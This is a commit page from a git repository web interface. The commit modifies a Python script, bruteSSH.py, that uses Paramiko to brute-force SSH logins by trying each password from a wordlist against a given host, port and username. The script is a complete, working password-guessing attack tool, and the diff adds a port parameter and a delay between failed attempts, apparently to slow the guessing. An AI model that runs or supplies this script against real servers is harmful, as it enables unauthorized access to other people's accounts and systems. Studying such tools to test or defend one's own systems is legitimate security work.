summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorjerome <jerome@xlinfo.fr>2025-10-13 23:49:05 +0200
committerjerome <jerome@xlinfo.fr>2025-10-13 23:49:05 +0200
commit08a3900aa70b1d5809b2c5334ed3866117ac3286 (patch)
treeabfbe2348325a013cd487d4e19b40645036e6285
parente18832e09ddc727c6681008c06f3931274c54fe2 (diff)
downloadpython-08a3900aa70b1d5809b2c5334ed3866117ac3286.tar.gz
python-08a3900aa70b1d5809b2c5334ed3866117ac3286.zip
paramiko
-rw-r--r--bruteforce/bruteSSH.py19
1 files changed, 11 insertions, 8 deletions
diff --git a/bruteforce/bruteSSH.py b/bruteforce/bruteSSH.py
index 32c93cb..f5833c7 100644
--- a/bruteforce/bruteSSH.py
+++ b/bruteforce/bruteSSH.py
@@ -1,13 +1,15 @@
-import paramiko, sys
+import sys
+import paramiko
+import time
-def bruteforce(hostname, username, password):
+def bruteforce(hostname, port, username, password):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
- client.connect(hostname, username=username, password=password)
+ client.connect(hostname,port,username=username,password=password)
except paramiko.ssh_exception.AuthenticationException:
print("erreur : ",password)
- #pass
+ time.sleep(2)
else:
print("trouvé : ",password)
return True
@@ -16,15 +18,16 @@ def bruteforce(hostname, username, password):
if __name__ == "__main__":
hostname = sys.argv[1]
- username = sys.argv[2]
- dico = sys.argv[3]
+ port = sys.argv[2]
+ username = sys.argv[3]
+ dico = sys.argv[4]
try:
with open(dico, 'r') as wordlist:
for ligne in wordlist.readlines():
password=ligne.strip()
- if bruteforce(hostname,username,password)==True:
+ if bruteforce(hostname,port,username,password) is True:
sys.exit()
except IndexError:
- print(f"{sys.argv[0]} demande un hôte, un username et une liste de passwords en arguments")
+ print(f"{sys.argv[0]} demande un hôte, un port, un username et une liste de passwords en arguments")